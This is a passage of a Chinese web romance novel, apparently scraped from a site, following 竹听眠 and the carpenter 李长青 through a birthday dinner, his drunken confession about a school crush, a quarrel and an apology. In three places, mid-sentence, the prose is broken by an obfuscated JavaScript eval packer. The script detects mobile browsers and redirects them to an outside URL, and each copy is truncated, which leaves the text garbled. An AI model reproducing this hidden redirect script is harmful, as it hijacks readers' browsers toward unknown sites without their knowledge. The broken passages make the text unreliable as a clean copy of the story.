这些年来,她早已习惯摒弃感情和人相处,将自己置于一个安全的观察距离,拥有明确的边界,所有既定的规则,都消散在苦口婆心劝一陌生老人药不能喝这件事情上。 再说回交朋友这件事。 两人一个讶异于居然有人一把年纪活得如此叛逆,认为她必然是个打发时间的好搭子。一个佩服于对方吃吐了都没有骂娘,而且十分具有辩证精神,笃定此人必然拥有美好品格。 居然惺惺相惜起来。 小安重新回去对接相关事宜,又发生了豪车事件,紧接着就是黄二妹事变,加上竹听眠尚未能有效修复李长青的尊严问题。 竹听眠一时之间也不知去哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350534|167954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里好。 她重新开始在小镇独自晃荡,也因此有机会认识水果老太张桂香。 晚饭前,她会来张桂香一同卖水果,然后接近饭点的时候张桂香就会赶客,竹听眠再独自绕回老屋。 相处的时候,她们偶尔聊天,大部分时间两个人都看着马路发呆。 张桂香时常会说出一些很搞笑的话,比如坚持自己是个七旬人类,依然风韵犹存。 偶尔又会透露出一些莫名其妙的文艺气息。 比如此时,起了阵大风,张桂香的水果小推车开始往坡下面梭。 她摆摊的这个巷口地处马路边的坡头,坡下面是个十来米的死巷,左右两边店铺常年闭门,无人打扰,是个安安静静做无证经营的好地方。 平时推车都会踩刹车,但今天多半是忘了。 总之现在整车苹果正以肉眼可见的速度往坡下滑。 “张桂香,张桂香!”竹听眠提醒,“你车跑了。” 张桂香坐自己的塑料小板凳上,不为所动,“它自由了。” 竹听眠看了她一眼,还是起来试图把车拽住,没想到这车那么重,她只有左手能用力,即便身子后仰,但整个人都被带得往前一起梭。 她震惊之余涌出了求知欲:“你每天怎么把车搬过来的?” “你还有心管这个,”张桂香甚至劝她,“放手吧,不然你也自由了。” 竹听眠缓慢滑行着,“不是,你车。” 她必然无法放手,毕竟这样一车水果对于一个七旬老太不是可以说不要就不要的东西,但现实是她无法拉住车。 加上那位风韵犹存的七旬老太也不够。 竹听眠环首尝试寻找可能帮忙的人,蓦地被一道高大阴影盖住。 有一只手绕过竹听眠的腰把住了车,轻飘飘拦下所有重量。 因为后仰的原因,竹听眠无可避免地撞进一堵硬实温热的胸膛,身后那人被撞得闷哼一声,呼吸喷洒到她头顶,伴随着肥皂清香。 很熟悉的味道了。 竹听眠被圈在推车拉手和李长青之间,姿势很像后背拥抱。 她往左看,是一大堆被抱着的蔬菜,几片葱叶倔强地伸出脑袋和她对视。她往右看,右边是一条肌肉丰盈的手臂,正握住拉手尾巴,上臂难免贴到竹听眠肩膀,传递着一种坚实而不容置疑的力量。 竹听眠看了一眼自己手臂,再看看那条手臂,觉得人和人差距真是很大。 李长青一拳能打死十个竹听眠吧,她想。 还有,身边的手臂没有瞧见任何布料。 “你穿衣服了吗?”竹听眠问。 李长青回答:“……穿了背心。” “成天到处嘚瑟。”竹听眠弯身从李长青手臂下面钻出来,眼睁睁看着他单手把推车拽回来。 推车在他手里变得很老实,全然失去了那种奔向自由的劲头。 李长青把着推车,“奶奶,回家吃饭啦。” 说完,目光不受控制地移向竹听眠,再次陷入不知该如何开口邀请的困境之中。 张桂香答应得很快,拎好自己的小板凳。 “这你孙子啊?”竹听眠问。 “羡慕吗?”张桂香问。 “你怎么不早说?”竹听眠问。 “你问过?”张桂香问。 那的确是没打听过,竹听眠揉了揉后脑勺,看了眼李长青,“你是真结实啊。” 李长青立马就想起她刚才撞到了哪,贴得太近了,的确是很不适合的姿势,但他过来瞧见这人马上要被推车带着撞墙,也没能顾上别的,只能先停下车。 也是趁着目光接触,干脆问:“你一会有地儿吃饭吗?” 问得有点底气不足,竹听眠当真没能听清,“什么?” “他说让你去家里吃饭!”已然走出几步的张桂香不耐烦地晃着椅子,催促两人,“走啊!” 没有去他家的理由,竹听眠就没动。 张桂香毕竟看人老辣,亲自折返,故意说:“他三叔,你知道吧?” 李长青不明所以,竹听眠点了头。 张桂香开始推销:“他三叔每次喝酒,一定会提我家这小子暗恋人的事儿,你可以听听,很下饭的。” 李长青哪里能想到老太太会突然爆料,当场就急了,“奶奶!” “这么劲爆?”竹听眠看向李长青,“那我要听。” 李长青避开视线,怎么讲话也不知道了。 “走啦。” 他叹了口气,小声催促两位女士。 14. 微芒 14 进门就看到蛋糕,竹听眠转头看向李长青,越过尚未说明白的所有问题,先声指责:“今天是你的生日?居然都不邀请我。” “我刚去老屋找过你的,”李长青也去看那个蛋糕,不经意地顺口问,“你生日什么时候?” “几岁了呀?”竹听眠不答反问。 “很大了。”李长青胡乱回答,领着人往里走。 这间木工铺子临街那间是一整个操作室,工作区之后是天井小院,院墙抱出幢两层小屋,一楼客厅此时站满了人,围着李长青从老屋搬出来的八仙桌各自忙着,端菜递筷,倾缸分酒。 王天眼尖,瞥见人影之后立马冲过来打招呼,“姐姐!” 孙明不甘落后,愣是挤过来寒暄,“听眠!我就说得请你过来!” “话都让你说了。”李长青笑着挡了他一下,继而指向一个位置,“你坐那吧。” 竹听眠看向他指的地方,“寿星坐哪?” “寿星坐你右边,”李长青说。 竹听眠故作惊讶,“待遇这么好?” 李长青低头笑了笑,对她说:“坐着吧,我去帮忙。”又指指她的右手,“你别去帮别人干什么,待着就行。” 他说完又示意孙明和王天先照顾人,自己绕进厨房。 竹听眠依话坐下,注意到二丫和张婶也到了,隔着半个小院,二丫朝她抿嘴笑了笑,对她用口型说了个“谢谢”。 女孩之间高频的默契尽数体现在相视一笑之间。 场面很热闹,无关商务,更轮不上人际攀扯,只是单纯且明确地为了高兴,高兴菜很好吃,高兴在乎的人还在身边,高兴一切值得高兴的事情。 没人咄咄逼人地逮着竹听眠问东问西,甚至没人太过惊讶她的到场。 太舒服了。 饭程过半,李长青的三叔拿着筷子和老孙唱起歌来,完全没调,就是让人无法讨厌,陈兰在欢笑声中抬着酒杯绕过来,竹听眠立即起身和她碰杯,告诉她:“是我该谢谢您让我有机会购买房子。” “小竹老板,你都让我不会说话了。”陈兰说。 “妈。”李长青站起来陪着老妈。 陈兰又拉着竹听眠嘱咐了几句,告诉她哪些发的食物得少吃,又说千万别怕麻烦,要什么就招呼她家小子。张桂香她马上就要哭,所以立马大声让她快点坐回去多吃菜,命令陈兰不许在这个快乐的日子掉眼泪。 “妈,你自己都在偷抹眼泪。”陈兰说。 张桂香很倔,“胡说八道!” 所有画面和声音都像童话故事一样,竹听眠看得有些恍神。 李长青微微靠过来些,小声告诉她说:“这酒度数很高的,不要喝太快。” 竹听眠仰头喝光一杯,好歹是把那些不合时宜的羡慕与酸涩压下,又告诉李长青:“就要快喝。” “哎哟,海量!”李长青夸赞着给她舀了勺豆腐圆子。 “哎!小竹老板!看我这忙得都没注意,要勺吗?”陈兰才回到座位,立马又站起来。 李长青很快说:“我早就给她拿了。” 陈兰奇怪地看了儿子一眼,仍然觉得有必要进行招待,接着问:“这个酸菜饼是我家的特色,小竹老板,你那边夹不到吧,我给你夹!” 李长青又说:“她不爱吃酸的。” 半桌人一起看向李长青。 孙明直接戳了李长青一下,“显着你长嘴了是吧。” 李长青推开他。 “干嘛?”孙明被挤到椅背上。 “我夹菜!”李长青大声说。 “夹菜你推我!” “你挡着了!” 孙明不爽起来,联合王天,对李长青的筷子进行了围堵,让他无获而归。 李长青干脆放弃,笑着扭回头,发现竹听眠在看着他,于是说:“他们太幼稚。” “你不幼稚?”竹听眠问。 “我不幼稚。”李长青说,末了摸摸鼻子,小声说,“我高兴。” “傻乐什么呀?”竹听眠说。 李长青环顾一圈桌上的人,“什么都高兴。” 饭局已经进入闲聊阶段,无论气氛再好,长辈和晚辈同桌吃饭,聊起姻缘问题在所难免,孙明首当其冲,被老孙几句连环问题说得头都抬不起来。 王天正咧个大牙傻乐,立马被老爸逮到,让他要是处对象必须告知家里,不然就打断腿。 李长青也没能幸免,三叔倒也没有说得很厉害,只讲自家长青就知道暗恋。 果然开始了,竹听眠好笑地想。 孙明及时发现竹听眠似乎对这个话题很是好奇,本着兄弟就是用来坑的优良传统,他立马答疑解惑。 “我们长青啊,心里装着一个女孩呢!成天念!” 三叔也笑哈哈地说:“是啊,这臭小子,说自己初中认识个漂亮丫头,前些年都没听他说,就最近这几……” 三叔歇了音。 三婶立马抓起半块饼塞去三叔嘴里让他醒醒酒。 李长青才收拾完孙明,却半天没回头看,不知道为什么,约莫是某种第六感,他知道此时竹听眠正在看自己。 虽然知道不太可能,但希望她可以不要再问。 “李长青,初中记到现在,你这么长情?” 不问就不是竹听眠了,李长青叹气。 “痴情着呢!”孙明大喊,试图把脸贴过来,又很快被李长青推回去。 “没有,不是那样的。”李长青只好转向她。 “不喜欢?”竹听眠又问。 李长青:“……喜欢的。” 竹听眠:“那你蛮长情。” 绕回来了还。 “不是那种喜欢,”李长青其实不太想和竹听眠聊这个话题。 但竹听眠表现出非常感兴趣的样子,一定要明白问为什么喜欢,是哪种喜欢,具体怎么发现的喜欢。 可能是因为喝了酒。 她非要问,李长青居然就真的告诉了她。 怪酒。 他说自己就是没见过那么勇敢的人,而且很温柔,要用现在的话来说,就是一个内核强大的人。她居然敢在校会上对抗不公,反正就是很勇敢。 李长青顿了顿,声音变得很低,“我吧,高中之后没怎么刻意想过她,是这几年,不太好过,所以会想起自己见过一个很勇敢的人,觉得自己也应该勇敢些,偶尔会感觉力气不够,就开始梦见她。” 他抬起已经空了的酒杯喝了一口,“希望她已经过得很好。” 竹听眠偏头瞧他。 小青年不胜酒力,脑袋越说越低,努力回忆时,会不自觉地眨眼睛,睫毛每扇动一次,脸上就多一丝笑意,语气都变得不自觉地甜蜜起来。 “她叫秦晴,”他介绍说,“是个很勇敢的人。” 这实在是超出竹听眠意料的回答。 而且她对此比较有发言权。 她不勇敢,她已经开始了流浪和逃亡。 她明知外面流言如何信口雌黄,但是始终没有正儿八经地对抗过一次,她明明不甘心自己再也无法演奏,不甘心到在每个深夜钻心地疼,却要对每一个关心她的人说自己没事。她愤恨养母收走的专辑版权,自己曾经心血一朝一夕被掠夺,还有她的亲生母亲…… 她要是勇敢,她就不会在这了。 而这样逃避、流浪的自己,居然成为另一个人的精神支柱。 竹听眠和秦晴都在不堪时刻遇到李长青,时隔多年又被当面提起,命运真是很爱做弄人。 无论如何,这都是她不配得到的仰慕。 “她不勇敢,很胆小。”她听见自己说。 抽离思绪,竹听眠发现李长青一直借着酒劲瞪她。 视线相触的瞬间,李长青立刻说秦晴就是很勇敢,生硬地警告竹听眠不许说她坏话,甚至呲了牙。 他维护得不讲理,竹听眠觉得有些好笑,只好跟着附和:“是,我不说了。” 片刻,她若有所思地讲:“李长青,你右脸有颗痣,笑的时候痣会沉进酒窝里,很容易让人记住。” 当年听他告白,竹听眠压根就没听进去几个字,少年人紧张得五官都在用力,那颗痣被压进脸颊又再次弹出的样子很可爱。 她好笑又好奇地问:“你怎么会不记得她长什么样呢?” 我明明没有变很多。 小醉狗思考得有些慢,反应半天,抬手戳了戳自己右脸,最后放下手臂,表情变得懊恼起来。 “我就没好好看过她的样子,我表白的时候都没敢看她。” 竹听眠声音很轻,“是么。” “不过,”李长青突然专注地盯着竹听眠,“我头一回见你就觉得眼熟,而且吧,你的声音很像她,我就总想着多瞧瞧你呢。” 竹听眠手指因这句话猛地蜷了一下,心口也随之一紧。 “但我没问,你知道吧?”李长青说,“我自己都记不大清,拿去问你,就特别不尊重人,怕你把我当流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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竹听眠左手撑着脸,用受伤的右手轻轻点了点李长青的眉心,李长青注视着那根指头,看得对眼。 “李长青,你太搞笑了。”竹听眠说。 李长青也觉得自己很搞笑。 这是他第二天醒过来之后认定的事儿。 “我表白的时候都不敢看她。” “我总想多去瞧瞧你呢。” “你别管。” “你是她吗?” “我帅气的哦?” “英俊吧?” 嘶…… 可恨那些记忆不能随着醉意散去,所以李长青面对竹听眠又开始变得尴尬起来。 可是门框还得修。 李长青有心赶工,老屋里负责翻新的几个师傅到点了和他告别离开。 平常这个点竹听眠还在外面溜达,就今天回来得很早,和光膀子的李长青打了个照面。 “你是真不喜欢穿衣服啊。”竹听眠说。 李长青:“……” “一会天黑了,明天再来吧。”竹听眠看了他一眼,迈腿准备进屋。 也是被看这一眼。 李长青在迅速把衣服穿好和转身继续工作之间,开辟了第三条道路。 “看什么看。” 他故意板起脸,摆出难以接近的样子,以此和酒后那个傻子划清界限。 为了虚张声势,他甚至很用力地把工具放下。 竹听眠轻笑出声。 这种质量优秀的帅气年轻男性,不看才是不正常。既然他诚心相邀,竹听眠自然不好拂人心意,只好顺水推舟。 于是她转身,站定,上上下下,下下上上好好地看了个遍。最后视线停在他胸前,足足看了三四个呼吸。 视线太过滚烫,烫得两个小点点逐渐明显起来。 然后,竹听眠低头看看自己,又重新看向李长青,目光里多了些虔诚与羡慕。 她什么都没说,他什么都听见了。 当晚,李长青进院子时还撞了门,动静有如蛮牛闯山,陈兰在厨房里被吓一跳,连忙探出头问儿子怎么了。 “妈,我没事。”他赶紧停下脚步,再三安慰老妈真的没事儿。 和老妈说了几句话,李长青悻悻地揉着头发上楼,觉得竹听眠真的是很过分。 怎么能耍流氓呢。 15. 微芒 竹听眠和李长青不大不小地吵了一架。 起因是因为老屋翻新。 竹听眠找来的都是本地老手,效率很高。 李长青有心参与,却被小安告知现在已经进行到了选择软装材料以及家具的进度。 已然没有他的插手余地。 话都说到了这个份上,进度也热火朝天地往前赶,李长青没机会拿出自己画的那些小家具,只能对小安说恭喜,再客气几句问问最近怎么都不见她。 小安回答说在忙眠姐的事情,她过两天就会来接眠姐走。 李长青呆住。 哪种走法。 还回来么? 为什么自己要那么在意? 这些都是需要琢磨的问题,并且一时半会得不出答案。 李长青试图编撰个理由出来,好让自己去问问竹听眠,做出这个决定时,他正蹲坐在梯子上等待装饰条和粘合剂彻底变得此生不再分离。 “长青,吃饺子呀?”辛大嫂在院里的篷布下朝他招手,“白菜猪肉!” 李长青立马就饿了,从梯子上跃下几步蹦着过去,塞两个饺子解馋没再多吃,并且拿出老妈给自己准备的一大盒卤鸡腿开始分发。 辛大嫂的饺子不能多吃,陈兰现在每天能有时间在家给儿子做饭盒。对于这两件事,李长青都有属于自己的理由。 老妈最近在家里做手工编织,马上到秋季旅游小高峰,游客都喜欢买一些本地的手工物件,陈兰手很巧,什么都能织,也算一项收入。最重要的一点,如今李长青终于赔清款项,虽然一样会照顾那九个家,但好歹金钱方面可以攒一攒,不用再尽数往外拿。 做木工到处接活,每个月也有好几大千,足够家里开支。老妈近些年在酒店做保洁,身体劳损得厉害,现在经济压力没那么重,李长青无论如何都不愿意老妈来回奔波。 起初还没能劝住人,到了还是老太太出面,很是威严地命令儿媳妇必须在家里陪着,陈兰这才答应,却也闲不住,每天变着法地给李长青做吃的,让他带来老屋给师傅们。 至于辛大嫂的事儿。 老辛头是出名的水管工,无论是技术还是人品都口碑良好,是个朴素的大叔,屋里有个八岁的自闭症儿子。老辛头从没放弃小辛,能力之内配合治疗,夫妻俩努力多年,至少在挣钱这件事上从不敢懈怠,半年前辛大嫂在城里工地摔伤了腿,修养了小半年,这会不太好找工作,干脆跟着老辛头来一起打打下手。 李长青晓得的,他们最近经常吃猪肉,是因为孙叔让孙明没事儿就往辛叔家送猪肉。 小镇就是这样,一切都在人情往来之中,不说也能明白,所以在场的师傅们连同李长青都没有多吃。 尝个味,夸赞一下手艺,十分流程化。 竹听眠从楼上下来时,几人刚吃完饭。 李长青看着她睡眼惺忪的样子,首先想到了三个问题。 看着人已经洗漱过,那么楼上的卫生间修缮情况应该还不错。不过,楼下这么敲敲打打,她居然真的能睡得着。 最后是心虚。 因为视线交汇的时刻,李长青叼着鸡腿骨。 最后一只鸡腿的骨头。 竹听眠非常亲切友善地同在场所有人打招呼,唯独到李长青这里变换了态度。 “李长青,鸡腿一点都没给我留,你好狠的心。” 罪名已然成立,李长青懒得狡辩,直接问:“要吃什么?” 竹听眠经过短暂且苦恼的思索,郑重回答:“豌杂面。” 李长青立马问:“不要豌杂,多加榨菜葱花对吧?” “你都知道还要问?” 李长青:“……” 那你只有这个回答还不是每次都要想半天。 他顺手把垃圾拎出去,走时听辛大嫂笑呵呵地说:“小竹老板和你很熟悉。” 李长青压下笑容,匆匆回答:“不熟呢。” 返程遇到摊子上卖相优秀的无花果,李长青顺手买了一篮,还被摊子老板打趣:“长青啊,又来给小竹老板跑腿买饭啊。” 李长青说不是特地,顺路的事儿。 摊子老板可精,“你这路顺的,顺出十里地了都,就惦记小竹老板呢吧。” “没有的事儿,”李长青板起脸,催他赶紧给自己称重。 拐进记月巷口,李长青从老屋门前的玻璃瞧见自己,他发现自己在笑,赶紧整理表情,一墙之隔,他听到竹听眠说话 “走吧,我希望以后这样的事情不要再发生。” 语调和语言都有些冷。 院里,老辛头拉着辛大嫂低声解释原因:“不多要钱的,小竹老板,我家这口子就是过来给我送饭。” 李长青默声走近,瞧见竹听眠脸上是鲜少能看见的严肃表情。 “送饭可以,在这里陪着也可以,但是她不是雇员,不能插手工作,我希望这样的事情不要再发生,不然就别干了。”她说。 老辛头和辛大嫂连连点头,没有再争辩。 竹听眠便不再多说,朝李长青伸出手示意他把面条拿给自己,不出意外地,看见李长青神色不明地杵在那,一副有话要说的样子。 “上楼去。”竹听眠说。 其他师傅已经散开各自干活,辛大嫂看了老辛头一眼,安静地提着饭菜篮子离开。 李长青跟着竹听眠上楼,这才发现她把二楼南边那排房子打通,安排成自己的居室,甚至布置出一间漂亮的会客室,靠窗那面墙边支了张L形的桌子。 竹听眠已经绕去桌子后边坐下,同时收拾开面前的几本书,做好了吃饭的准备。 李长青安静地把面放下。 竹听眠抬眼看他,“有话说话,没话就出去。” 李长青同她对视两秒,直接说:“辛叔就是想帮着快做点活。” “嗯。”竹听眠开始解开塑料袋,拿出筷子。 李长青接着说:“我知道你是想把事情做规矩些。” “你又知道了。”竹听眠掀着外带盒盖,右手使不上力,左手也发挥不好,以至于这么低着头时,脑门顶瞧着像是在冒气。 李长青赶紧从她手里把那碗面抢救出来,打开盖子,抽纸巾抹了圈边缘,又重新还给她。 顺带着缓声说:“辛大嫂他们家不一样,他们没恶意的,你也,不至于说那么严重吧。” 没想到竹听眠直接把筷子放下,“这么好为人师啊?” 突然被架到没能预料的高度,李长青眨了眨眼,“我不是要教你。” “也没少教,”竹听眠问,“合作合同白纸黑字,说明白了要雇谁,今天这家带老婆来,明天就能有别人带老婆来,这是工地,非雇员出了事你能负责吗?” 李长青看着她。 竹听眠干脆靠到椅子上,“也不是每个人都会带人来,多了一个人帮忙,我要不要多付钱?付了,别人会怎么想呢?不付,我就要变成占便宜的人。” 李长青低声讲:“话是这么说。” 竹听眠伸出根指头戳戳面前的桌子,“我不是可以心安理得接受别人不记回报帮助的人,他们可怜,没地方去,我就应该让他们有事做吗?李长青,世界上可怜的人很多,我凭什么要负责?” 李长青本也不想劝说什么,一是没有立场,二是竹听眠考虑得的确没错。 可真听到她这么冷硬地说出口,心里还是不太舒服。 “可能你之前的工作生活不是这样,但小镇里互相帮衬不是因为可怜谁,就是因为……我帮你,你帮我,日子就能过下去,以后你的生意总是要在这做的。” 他是真心希望竹听眠在秋芒镇的生意可以顺顺利利。 竹听眠没有立即说话,而是偏头看向窗外,热浪泼在瓦上,翻滚着模糊视线。 “我很奇怪,印象里你并不是一个喜欢强加论断的人,怎么总是评论我?”她缓缓转头看过来。 李长青皱起眉头,“什么时候?” “说我没吃过苦,觉得我现在的一言一行都是因为之前的工作生活,你觉得我在俯视你们,因为我生活优渥尊贵。”竹听眠说,“我问你,我人生地不熟,今天所有人觉得我礼貌,明天就能有人因为我好说话而欺负我,那个时候我怎么办呢?我先说明自己底线有问题吗?” 没问题。 但你怎么就人生地不熟了呢? 李长青没吭声。 他明显察觉这才是竹听眠真正动怒的样子,立马在身边竖起一道墙,目光乃至呼吸都带着距离感。 竹听眠没有放任他沉默,“我在自视清高,你就是这么认为的。” 李长青想否认。 竹听眠才瞧出他想要摇头,立刻说:“别撒谎。” “是,但没你想的那么严重,”李长青果然就不再撒谎,先承认,又解释,“主要是你付的款,就是很多人一辈子都——” “你真说啊?”竹听眠打断他,又讲,“你也挺记仇啊。” 李长青:“……” 没人提买房子的事儿啊,你自己提的。 武断了。 李长青以为她真的不希望自己撒谎,这才知道了厉害,抿了抿嘴,没有重复,但也没有收回。 可沉默也能刺人。 “你才几岁李长青?怎么那么喜欢教我?”竹听眠收握了一下左手,开始荒谬地挖苦,“工作工作,我已经没工作了。你那么好心,你给我找份工作吧,要不然你干脆娶我养我好了。” 李长青很抵触听她说年纪,于是问:“为什么要提年纪?” 竹听眠气笑了,“你说呢?” 对峙无声展开,气氛并不融洽。 “已经二十四了。”李长青突然说。 竹听眠怀疑自己听错:“……什么?” “可以。”李长青又说。 竹听眠一言不发,就看着他要干什么。 “我说我二十四了,”李长青总结给她听,“如果你工作或生活需要我帮助,我会尽我所能。” “但是,”他一本正经地警告,“别再总开这种玩笑,什么娶不娶的。” 他最后一句话的音量呈阶梯式下降。 并未影响整体效果。 竹听眠相当震惊。 什么“你给我找工作”或者“你养我”这种话,真的特别幼稚。 竹听眠本不至于和这么一个弟弟讲这些,但那些随意断定的话从他嘴里冒出来,就是让人听得火大。 本来在认真生气,结果所有被李长青这句毫无预兆的警告扑灭。 这是在干嘛? 紧绷的情绪被掐断,竹听眠找不到合适的节奏继续吵下去,也努力过,最后还是没忍住笑出来。 “你,”她无法严肃,只好强硬一点,“滚出去。” 她居然还笑出了声。 李长青感到被轻视,固执地重申:“我没有在开玩笑。” 竹听眠催他:“快走。” 李长青当然也有脾气,他凶狠且愤怒地留下无花果,迅速转身出门。 * 老屋门框刷了桐油,要干两天,之后再上漆。 李长青短暂失去了去老屋的理由。 他尝试过陪奶奶卖水果,心不在焉地蹲在那,始终往一个方向瞧。 张桂香简直没眼看,直言:“记月巷02号,不知道路?” 李长青迅速收回视线,小声说:“不是看那边。” 张桂香懒得付出慈爱,让他快点离开。 他重新回到铺子,还是决定要按照草稿把自己设计好的、适合老屋的小家具给打出来。 孙明屁股着火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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传播这些话,只字不提竹听眠可能有多难受。 李长青难以想象对于钢琴家来说右手受伤是什么感觉,灭顶之灾吧,灾难,谋杀。 这些念头让他感到窒息,他把手机还给孙明,二话不说冲出铺子。 半道遇见买菜的辛大嫂。 “小竹老板真的很好,她前天饭点的时候突然到我家来,和我家小子很耐心地说了好久的话,又和我们一起吃饭,最后居然问我愿不愿意在民宿开始营业之后来管理厨房。” 先是孙明抬着手机过来,又遇到辛大嫂说这些话。 李长青开始怀疑老天是故意让他内疚到底。 他为自己说出口的偏见感到无地自容,并且脑子里只剩下三个字。 完球了。 这种情况道歉有用吗?会不会显得有些刻意,但要是上去就说自己了解过她的历史,竹听眠会怎么想呢?会让他滚吧。 滚就滚吧,被轰出来也是应该的。 李长青坚定地去到老屋,正逢师傅们到点下工,老辛头疑惑他为什么这个点过来。 “我来找竹……小竹老板。”李长青说。 “你找小竹老板?”老辛头说,“她昨天已经走了呀,她助理,就那个小姑娘开车来接的她。” 李长青语塞。 “她没告诉你?”老辛头很惊讶。 李长青肩膀都塌了,“没有说呢。” “为什么?”老辛头问。 还能为什么,气我了呗,李长青心想。 他在老屋待到太阳落山,逛来看去,心中很是怅然。 他发现自己甚至都没有竹听眠的联系方式,唯一有可能说得上话的是小安。 可是说什么呢? 李长青变得不会打字,几次组织语言失败,只好改为发送语音消息。 “小安,我刚刚知道你们离开的消息,我之前和竹听……和小竹老板闹得有些不愉快,想说句道歉李长青你简直有病。” 李长青骂完自己,取消发送。 得是多有毛病才会找小安去找竹听眠传达歉意。 他重新构思。 “小安你好,我是李长青,我得知你们已经离开,以后如果你们要回来看看民宿,我可以……人也不需要你。” 依然没能藏住情绪。 这次李长青都懒得骂自己,熟练地取消发送。 无论如何讲话都显得词不达意,他原地转了几个圈,开始对着二楼自言自语。 “去哪了。” “在这呢。”话音带笑,很轻,却清晰。 李长青被这突然响起的声音下的浑身一震,他猛地转身,竹听眠居然站在那里,偏头笑了一下。 李长青怀疑自己看错,先转头四处看,寻求真实参照,得到真实回馈后才怔怔地问:“你没走啊?” 说完又莫名地笑起来。 竹听眠也在笑,没回答问题,只说:“走不了,有人舍不得。” 暮色浮动,无声颁布星夜降临,一切都变得很有默契,像是如此一个时刻,必得出现点什么很新鲜的事儿。 李长青明知天光不明,明知自己的表情不可能被看清,但还是眼神一躲,下意识否认:“不是啊。” 竹听眠笑意更深,非要故意问:“你舍得啊?” 李长青深深呼吸,无处可躲,只好点头,已经没有胆量字句清晰,因为不熟练当面说真心话,所以声音很小。 他说:“舍不得。” 李长青希望竹听眠不要追问“为什么”,因为他自己都定义不了这个仓促涌出的情绪。 好消息,竹听眠像是听到了他的心声,没有非要追问原因。 坏消息。 竹听眠问:“李长青,有多舍不得?” 16. 微芒 李长青揉着脸偏开头:“民宿都没开业,你肯定得留下来看看吧。” “谁说这个了?”竹听眠说。 李长青望着她,稍加揣测,发现她的笑容里看起来没有记仇的成分。 一肚子话变成安心,他没忍住先问:“你去哪了?” “嗯?”竹听眠偏头瞧他,“你要是不好意思说,我先回避一下?” 看来刚才没少偷听呢。 李长青发现自己在她面前实在无法掩饰话题,只好如实说:“我是想来找你道歉。” “道吧。”竹听眠笑吟吟地抱着手。 李长青发现异常,竹听眠右手不再被纱布包裹。 注意到他的视线,竹听眠低头,张开右手,手心手背的伤口覆盖着硅胶贴,虽然瞧不见伤口,但由于恢复造成了皮肤拉扯,围绕着那块硅胶贴,手心炸开一条条皱褶。 她稍微动了动手指,说:“不用再裹着纱布啦,但是要带压力手套,哇,感觉会裹得血液流通不畅,说不定会影响睡眠,而且每天还要定时做复健操,真的是很头疼。” 说话的内容逐渐变为抱怨,烦恼意味浓重。 好像他们本来就是可以这样说话的关系。 李长青开始心烦夏蝉没头没脑地乱叫,吵得他不晓得该怎么回应比较合适。 他发现自己喜欢听她抱怨,但也记得他和这个人的上一次对话结束得并不愉快。 可是此刻看见她的手,李长青忽然觉得自己的手心也在疼,以至于搅乱心神,打散了道歉的话。 你是弹钢琴的,手伤成这样,还能恢复吗? 你伤心吗?难过吗? 我说错了话,你有生气吗?还在生气吗? 我现在可以说抱歉吗? 他说不出话,变成一个听力尚存的人类标本,她讲多少,他就听多少。 竹听眠说累了,干脆盯着李长青,“长青啊,已经给你铺了很多台阶,怎么不下来呢?快点说对不起,然后我会讲没关系。” 她干脆利落地抛出调侃,李长青立刻真诚地对她道歉,又说:“我不该随便乱讲,我明明什么都不知道。” 把自己说到垂下脑袋,“对不起。” 很多时候,语言在心意面前显得分量不足,李长青习惯于付诸行动。 他从自己挎包里拿出样东西,捧到竹听眠面前。 李长青记得,竹听眠曾经对这只木雕小狗很感兴趣,先前他热着脑袋想要冲过来道歉,也不知道给什么好,只好匆忙之间顺手捞上这样东西。 竹听眠没有第一时间伸手接,反而想起曾经去某个流浪犬基地时,曾经同一位犬类行为分析师交流过,他说狗狗做错事之后会有很明显的道歉行为。 “首先会低头,不敢直视眼睛,说明它已经明白自己的错误所在。” 竹听眠回忆着看了李长青一眼。 “然后他会原地打转,思索该怎么办才好,想要引起注意。” 竹听眠又看了李长青一眼。 “之后会叼过自己最喜欢玩具,用自己的方式向你道歉。” 竹听眠看向李长青手里的木雕小狗。 李长青被她这一眼又一眼地瞧得心里没底,只好把手又往前递了递,“你拿着吧。” 竹听眠接过来,脑中响起那位分析师的最后一句话:“还会寸步不离。” 她开始实验,眼睛盯着李长青,手里拿着他刚送的木雕小狗,往院子里走了几步。 李长青不明所以,也跟着走了几步。 太可爱。 这无疑很有趣,竹听眠没有掩饰笑意,愉悦之余居然生出感慨,因为想不起来上一次自己开心成这样是什么时候,是因为什么事,或是因为什么人。 但这些已经不重要,就在此时此刻,她遇见一个让她很快乐的人,神奇又珍贵,很有质感的人,一只晒过太阳的小狗。 像是命运终于施恩给予反馈。 她快乐极了。 李长青尚有自知之明,知道一个木雕不至于让她乐成这样,但也不受控制地跟她一起笑出声,“怎么了呀?” “想知道啊?”竹听眠问他。 李长青点点头。 于是竹听眠就模仿着那位犬类分析师的语气把话说了一遍。 李长青明白过来,哭笑不得地问:“所以你在看小狗道歉呢?” “是的,”竹听眠举着手中的木雕在他眼前晃来晃去,加以肯定,“表现极佳。” 李长青再次笑起来,有些不好意思,但并不介意她的愉悦是通过这样的方式。 有说过吗?她笑起来真的很好看,李长青瞧着瞧着,觉得自己真的长出了条尾巴,正在拼命摇着,生怕她看不见。 “你喜欢就好。”李长青说,又觉得这话有歧义,立马指了指她手里的木雕小狗。 他仍在进行道歉的流程。 